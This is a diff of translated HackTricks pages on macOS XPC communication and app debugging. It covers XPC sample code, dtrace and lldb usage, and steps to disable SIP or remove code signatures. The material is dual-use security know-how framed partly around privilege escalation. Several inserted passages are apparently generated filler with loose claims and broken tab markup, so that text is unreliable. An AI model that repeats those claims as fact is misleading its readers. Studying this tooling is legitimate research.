这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
|
||||
这些plist文件将具有一个名为**`MachServices`**的键,其值为服务的名称,以及一个名为**`Program`**的键,其值为二进制文件的路径:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
|
@ -824,7 +807,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
|
||||
### XPC连接进程检查
|
||||
|
||||
当一个进程尝试通过XPC连接调用一个方法时,XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱:
|
||||
当一个进程尝试通过XPC连接调用一个方法时,**XPC服务应该检查该进程是否被允许连接**。以下是检查的常见方式和常见陷阱:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
|
@ -832,7 +815,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
|
||||
### XPC授权
|
||||
|
||||
Apple还允许应用程序**配置一些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被允许调用XPC服务的方法:
|
||||
Apple还允许应用程序**配置一些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被**允许调用XPC服务的方法**:
|
||||
|
||||
{% content-ref url="macos-xpc-authorization.md" %}
|
||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||
|
@ -922,21 +905,9 @@ int main(int argc, const char * argv[]) {
|
|||
}
|
||||
```
|
||||
|
||||
这是一个简单的XPC客户端示例,它连接到名为"com.apple.securityd"的Mach服务,并接收来自该服务的事件。当收到事件时,它会打印事件的描述信息。
|
||||
{% endtab %}
|
||||
|
||||
要编译此代码,您需要在命令行中使用以下命令:
|
||||
|
||||
```bash
|
||||
clang -o xpc_client xpc_client.c -lxpc
|
||||
```
|
||||
|
||||
然后,您可以运行生成的可执行文件:
|
||||
|
||||
```bash
|
||||
./xpc_client
|
||||
```
|
||||
|
||||
请注意,此示例需要在具有足够权限的环境中运行,因为它连接到了一个特权的Mach服务。
|
||||
{% tab title="xpc_server.c" %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
|
@ -965,7 +936,7 @@ dispatch_main();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件,用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在macOS中,服务是一种后台进程,可以在系统启动时自动启动,并在后台运行。通过编辑和配置xyz.hacktricks.service.plist文件,可以对服务进行自定义设置和管理。
|
||||
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件,用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中,你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件,你可以定制和管理系统中的服务。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -1060,7 +1031,9 @@ listener.delegate = delegate;
|
|||
sleep(10); // Fake something is done and then it ends
|
||||
}
|
||||
```
|
||||
{% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件
|
||||
{% tab title="oc_xpc_client.m" %}
|
||||
|
||||
## oc_xpc_client.m
|
||||
|
||||
```objective-c
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -1074,7 +1047,7 @@ int main(int argc, const char * argv[]) {
|
|||
if (type == XPC_TYPE_DICTIONARY) {
|
||||
const char *description = xpc_dictionary_get_string(event, "description");
|
||||
if (description) {
|
||||
printf("%s\n", description);
|
||||
printf("Received event: %s\n", description);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
@ -1085,9 +1058,37 @@ int main(int argc, const char * argv[]) {
|
|||
}
|
||||
```
|
||||
|
||||
这是一个使用Objective-C编写的文件,用于创建一个XPC客户端连接到`com.apple.securityd`服务。它使用`xpc_connection_create_mach_service`函数创建一个特权的Mach服务连接,并使用`xpc_connection_set_event_handler`函数设置一个事件处理程序。当接收到事件时,它会检查事件的类型是否为字典类型,并获取字典中的"description"键对应的字符串,并将其打印出来。最后,它通过调用`dispatch_main`函数来保持程序的运行。
|
||||
### Description
|
||||
|
||||
该文件可以用于在macOS系统中进行进程间通信(IPC)和特权升级的研究和开发。
|
||||
This Objective-C code demonstrates how to create an XPC client that communicates with the `com.apple.securityd` Mach service. XPC (Inter-Process Communication) is a mechanism for communication between processes in macOS.
|
||||
|
||||
The code creates an XPC connection using `xpc_connection_create_mach_service` and specifies the target Mach service as `com.apple.securityd`. The `XPC_CONNECTION_MACH_SERVICE_PRIVILEGED` flag is used to indicate that the connection should be privileged.
|
||||
|
||||
An event handler is set using `xpc_connection_set_event_handler` to handle incoming events from the XPC service. In this example, the event handler checks if the event is a dictionary and retrieves the value associated with the key "description". If a description is found, it is printed to the console.
|
||||
|
||||
The connection is resumed using `xpc_connection_resume`, and the main dispatch loop is started using `dispatch_main`.
|
||||
|
||||
### Usage
|
||||
|
||||
Compile the code using the following command:
|
||||
|
||||
```bash
|
||||
clang -framework Foundation -o oc_xpc_client oc_xpc_client.m
|
||||
```
|
||||
|
||||
Run the compiled binary:
|
||||
|
||||
```bash
|
||||
./oc_xpc_client
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- [XPC Services](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
|
||||
- [XPC Overview](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html#//apple_ref/doc/uid/10000172i-SW1-SW1)
|
||||
- [XPC API Reference](https://developer.apple.com/documentation/xpc)
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
#include <Foundation/Foundation.h>
|
||||
|
@ -1112,23 +1113,26 @@ return 0;
|
|||
```
|
||||
# macOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other. In macOS, there are several IPC mechanisms available, including:
|
||||
Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other and share data. In macOS, there are several IPC mechanisms available, including:
|
||||
|
||||
- **Mach Ports**: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.
|
||||
- **XPC**: XPC (Cross-Process Communication) is a high-level IPC mechanism provided by macOS. It allows processes to communicate with each other using a simple and secure API.
|
||||
- **Distributed Objects**: Distributed Objects is a legacy IPC mechanism in macOS. It allows objects to be shared between processes using a remote procedure call (RPC) mechanism.
|
||||
- **Unix Domain Sockets**: Unix domain sockets are a type of IPC mechanism that allows communication between processes on the same machine using the file system.
|
||||
1. **Mach Ports**: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.
|
||||
|
||||
Each IPC mechanism has its own advantages and use cases. Understanding how these mechanisms work can be useful for both security researchers and developers.
|
||||
2. **UNIX Domain Sockets**: UNIX domain sockets provide a communication channel between processes running on the same machine. They are commonly used for local IPC.
|
||||
|
||||
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover techniques for analyzing and exploiting vulnerabilities in IPC implementations.
|
||||
3. **Distributed Objects**: Distributed Objects is a high-level IPC mechanism provided by macOS. It allows objects to be shared between processes using a remote procedure call (RPC) mechanism.
|
||||
|
||||
4. **XPC**: XPC (eXtensible Procedure Call) is a modern IPC mechanism introduced in macOS 10.7. It provides a secure and efficient way for processes to communicate with each other.
|
||||
|
||||
Understanding how IPC works in macOS is important for both developers and security researchers. Developers need to know how to use IPC mechanisms to build inter-process communication into their applications, while security researchers need to understand how IPC can be abused for privilege escalation and other security attacks.
|
||||
|
||||
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover common security vulnerabilities and best practices for securing IPC in macOS applications.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Mach Ports](mach-ports.md)
|
||||
- [XPC](xpc.md)
|
||||
- [UNIX Domain Sockets](unix-domain-sockets.md)
|
||||
- [Distributed Objects](distributed-objects.md)
|
||||
- [Unix Domain Sockets](unix-domain-sockets.md)
|
||||
- [XPC](xpc.md)
|
||||
|
||||
{% endtab %}
|
||||
|
||||
|
@ -1184,7 +1188,7 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -5,10 +5,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -34,7 +34,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb
|
|||
|
||||
### jtool2
|
||||
|
||||
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。[**在这里下载**](http://www.newosxbook.com/tools/jtool.html)。
|
||||
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。[**在这里下载**](http://www.newosxbook.com/tools/jtool.html)或使用`brew`安装。
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -52,13 +52,13 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
|||
|
||||
Codesign(代码签名)是macOS中的一种安全机制,用于验证应用程序的身份和完整性。通过对应用程序进行数字签名,可以确保应用程序未被篡改或恶意注入。
|
||||
|
||||
在macOS上,每个应用程序都必须经过代码签名才能被系统信任。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
|
||||
在macOS中,每个应用程序都必须经过代码签名才能被系统信任和运行。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
|
||||
|
||||
通过验证应用程序的签名,macOS可以确保应用程序来自可信的开发者,并且没有被篡改。如果应用程序的签名无效或缺失,macOS会发出警告并阻止其运行。
|
||||
通过验证应用程序的签名,macOS可以确保应用程序来自可信的开发者,并且没有被篡改。如果应用程序的签名无效或缺失,macOS会发出警告并阻止应用程序的运行。
|
||||
|
||||
Codesign还可以用于验证应用程序的权限。开发者可以使用代码签名来指定应用程序所需的特定权限,例如访问文件系统、网络或其他系统资源。这样,用户可以在安装应用程序之前,清楚地知道应用程序将要访问的权限范围。
|
||||
Codesign还可以用于验证应用程序的权限。开发者可以使用代码签名来指定应用程序所需的特定权限,例如访问文件系统、网络或其他敏感资源。这样,用户在安装应用程序时就可以知道应用程序需要哪些权限,并可以做出相应的决策。
|
||||
|
||||
总之,Codesign是macOS中一种重要的安全机制,用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名,可以确保应用程序的来源可信,并防止恶意注入或篡改。
|
||||
总之,Codesign是macOS中一种重要的安全机制,用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名,可以确保应用程序来自可信的开发者,并且没有被篡改。
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -144,29 +144,29 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
你可以在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)中找到关于这些部分存储的信息的更多详细信息。
|
||||
您可以在[**此博客文章中找到有关这些部分存储的信息的更多信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
|
||||
|
||||
### 打包的二进制文件
|
||||
|
||||
* 检查高熵
|
||||
* 检查字符串(如果几乎没有可理解的字符串,则可能是打包的)
|
||||
* 检查字符串(如果几乎没有可理解的字符串,则为打包)
|
||||
* MacOS的UPX打包程序会生成一个名为"\_\_XHDR"的部分
|
||||
|
||||
## 动态分析
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,为了调试二进制文件,需要禁用SIP(`csrutil disable`或`csrutil enable --without debug`),或者将二进制文件复制到临时文件夹中,并使用`codesign --remove-signature <binary-path>`删除签名,或者允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
请注意,为了调试二进制文件,需要禁用SIP(`csrutil disable`或`csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用`codesign --remove-signature <binary-path>`删除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,为了在macOS上**对系统二进制文件**(如`cloudconfigurationd`)进行插桩,必须禁用SIP(仅删除签名是不起作用的)。
|
||||
请注意,为了在macOS上**检测系统二进制文件**(例如`cloudconfigurationd`),必须禁用SIP(仅删除签名不起作用)。
|
||||
{% endhint %}
|
||||
|
||||
### 统一日志
|
||||
|
||||
MacOS会生成大量日志,当运行应用程序时,这些日志非常有用,可以帮助理解应用程序在做什么。
|
||||
MacOS会生成大量日志,当运行应用程序时,这些日志可以非常有用,以了解它在做什么。
|
||||
|
||||
此外,有一些日志会包含标签`<private>`,以隐藏一些用户或计算机可识别的信息。但是,可以**安装证书来显示这些信息**。请按照[**这里的说明**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)进行操作。
|
||||
此外,有些日志将包含标签`<private>`,以隐藏一些用户或计算机可识别的信息。但是,可以**安装证书以公开此信息**。请按照[**此处的说明**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)进行操作。
|
||||
|
||||
### Hopper
|
||||
|
||||
|
@ -176,36 +176,31 @@ MacOS会生成大量日志,当运行应用程序时,这些日志非常有用
|
|||
|
||||
#### 中间面板
|
||||
|
||||
在中间面板中,可以看到**反汇编代码**。通过点击相应的图标,可以以**原始**的反汇编、**图形**、**反编译**和**二进制**的形式查看:
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以通过单击相应的图标,以**原始**、**图形**、**反编译**和**二进制**的方式查看它:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
右键单击代码对象,可以查看对该对象的**引用/来自引用**,甚至更改其名称(在反编译的伪代码中无效):
|
||||
右键单击代码对象,可以查看对该对象的**引用/来自**,甚至更改其名称(在反编译的伪代码中无效):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此外,在**中间下方可以编写Python命令**。
|
||||
此外,在**中间下方,您可以编写Python命令**。
|
||||
|
||||
#### 右侧面板
|
||||
|
||||
在右侧面板中,可以看到一些有趣的信息,例如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(可以看到调用此函数的所有函数以及此函数调用的所有函数)和**局部变量**信息。
|
||||
在右侧面板中,您可以看到一些有趣的信息,例如**导航历史记录**(以便您知道如何到达当前情况)、**调用图**(您可以看到所有调用此函数的函数以及此函数调用的所有函数)和**局部变量**信息。
|
||||
|
||||
### dtruss
|
||||
```bash
|
||||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### ktrace
|
||||
|
||||
即使启用了**SIP**,您仍然可以使用此方法。
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
### dtrace
|
||||
|
||||
它允许用户以极低的层次访问应用程序,并提供了一种追踪程序甚至更改其执行流程的方式。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束位置。
|
||||
它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪**程序甚至更改其执行流程的方法。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束。
|
||||
|
||||
DTrace使用**`dtrace_probe_create`**函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口点**触发。与DTrace的交互通过/dev/dtrace进行,该设备仅对root用户可用。
|
||||
DTrace使用**`dtrace_probe_create`**函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口点触发**。与DTrace的交互通过/dev/dtrace进行,该设备仅对root用户可用。
|
||||
|
||||
{% hint style="success" %}
|
||||
要在不完全禁用SIP保护的情况下启用Dtrace,可以在恢复模式下执行:`csrutil enable --without dtrace`
|
||||
|
||||
您还可以**运行您编译的**`dtrace`或`dtruss`二进制文件。
|
||||
{% endhint %}
|
||||
|
||||
可以使用以下命令获取dtrace的可用探针:
|
||||
```bash
|
||||
|
@ -270,6 +265,27 @@ printf("=%d\n", arg1);
|
|||
#Log sys calls with values
|
||||
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
||||
```
|
||||
### dtruss
|
||||
|
||||
The `dtruss` command is a powerful tool for inspecting and debugging macOS applications. It allows you to trace system calls and signals made by a specific process, providing valuable insights into its behavior and potential vulnerabilities.
|
||||
|
||||
To use `dtruss`, simply run the command followed by the path to the executable or the process ID of the target application. This will initiate the tracing process and display a detailed log of all system calls and signals generated by the application.
|
||||
|
||||
By analyzing the `dtruss` output, you can identify any suspicious or unexpected behavior, such as unauthorized file access, network communication, or privilege escalation attempts. This information can be crucial for identifying and patching security vulnerabilities in macOS applications.
|
||||
|
||||
It is important to note that `dtruss` requires root privileges to trace system calls made by other processes. Therefore, you may need to run it with `sudo` or as the root user to inspect privileged applications.
|
||||
|
||||
Overall, `dtruss` is a valuable tool for inspecting and debugging macOS applications, providing a deeper understanding of their inner workings and potential security issues.
|
||||
```bash
|
||||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### ktrace
|
||||
|
||||
即使启用了**SIP**,您仍然可以使用此方法。
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的与进程相关的操作(例如,监视进程创建的新进程)。
|
||||
|
@ -278,9 +294,13 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) 允许监视文件事件(如创建、修改和删除),并提供有关这些事件的详细信息。
|
||||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于 Windows 用户熟悉的 Microsoft Sysinternal 的 _Procmon_ 的外观和感觉的 GUI 工具。它允许您启动和停止记录各种类型的事件,按类别(文件、进程、网络等)对其进行过滤,并将记录的事件保存为 json 文件。
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode开发工具的一部分,用于监视应用程序性能,识别内存泄漏和跟踪文件系统活动。
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是 Xcode 的开发工具的一部分,用于监视应用程序性能、识别内存泄漏和跟踪文件系统活动。
|
||||
|
||||
![](<../../../.gitbook/assets/image (15).png>)
|
||||
|
||||
|
@ -302,38 +322,25 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
|
||||
### lldb
|
||||
|
||||
**lldb** 是macOS二进制文件**调试**的事实上的工具。
|
||||
**lldb** 是用于**macOS**二进制文件**调试**的事实上的工具。
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
您可以在使用lldb时设置intel风格,只需在您的主文件夹中创建一个名为**`.lldbinit`**的文件,并添加以下行:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
在lldb中,使用`process save-core`命令转储进程
|
||||
在lldb中,使用`process save-core`命令转储进程。
|
||||
{% endhint %}
|
||||
|
||||
| **(lldb) 命令** | **描述** |
|
||||
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **run (r)** | 开始执行,直到遇到断点或进程终止。 |
|
||||
| **continue (c)** | 继续执行被调试进程。 |
|
||||
| **nexti (n / ni)** | 执行下一条指令。该命令会跳过函数调用。 |
|
||||
| **stepi (s / si)** | 执行下一条指令。与nexti命令不同,该命令会进入函数调用。 |
|
||||
| **finish (f)** | 执行当前函数(“frame”)中剩余的指令,然后返回并停止。 |
|
||||
| **control + c** | 暂停执行。如果进程已经运行(r)或继续(c),这将导致进程在当前执行位置停止。 |
|
||||
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis <num> #启用/禁用断点</p><p>breakpoint delete <num><br>b set -n main --shlib <lib_name></p> |
|
||||
| **help** | <p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p> |
|
||||
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
|
||||
| **x/s \<reg/memory address>** | 以空字符结尾的字符串形式显示内存。 |
|
||||
| **x/i \<reg/memory address>** | 以汇编指令形式显示内存。 |
|
||||
| **x/b \<reg/memory address>** | 以字节形式显示内存。 |
|
||||
| **print object (po)** | <p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p请注意,大多数苹果的Objective-C API或方法返回对象,因此应通过“print object”(po)命令显示。如果po没有产生有意义的输出,请使用<code>x/b</code></p> |
|
||||
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在该地址写入AAAA</p> |
|
||||
| **disassembly** | <p>dis #反汇编当前函数<br>dis -c 6 #反汇编6行<br>dis -c 0x100003764 -e 0x100003768 #从一个地址到另一个地址<br>dis -p -c 4 #从当前地址开始反汇编</p> |
|
||||
| **parray** | parray 3 (char \*\*)$x1 #检查x1寄存器中的3个组件的数组 |
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到遇到断点或进程终止。</td></tr><tr><td><strong>continue (c)</strong></td><td>继续执行被调试的进程。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。该命令会跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与nexti命令不同,该命令会进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数(“frame”)中剩余的指令,然后返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已经运行(r)或继续(c),这将导致进程在当前执行位置停止。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #任何名为main的函数</p><p>b <binname>`main #二进制文件的主函数</p><p>b set -n main --shlib <lib_name> #指定二进制文件的主函数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis <num> #启用/禁用断点</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>将内存显示为以空字符结尾的字符串。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意,大多数苹果的Objective-C API或方法返回对象,因此应通过“print object”(po)命令显示。如果po没有产生有意义的输出,请使用<x/b></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在该地址写入AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n <funcname> #反汇编函数</p><p>dis -n <funcname> -b <basename> #反汇编函数<br>dis -c 6 #反汇编6行<br>dis -c 0x100003764 -e 0x100003768 #从一个地址到另一个地址<br>dis -p -c 4 #从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 #检查x1寄存器中的3个组件的数组</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
在调用**`objc_sendMsg`**函数时,**rsi**寄存器保存方法的名称,以空字符结尾的(“C”)字符串。要通过lldb打印名称,请执行以下操作:
|
||||
在调用**`objc_sendMsg`**函数时,**rsi**寄存器保存方法的名称,以空字符结尾(“C”字符串)。要通过lldb打印名称,请执行以下操作:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
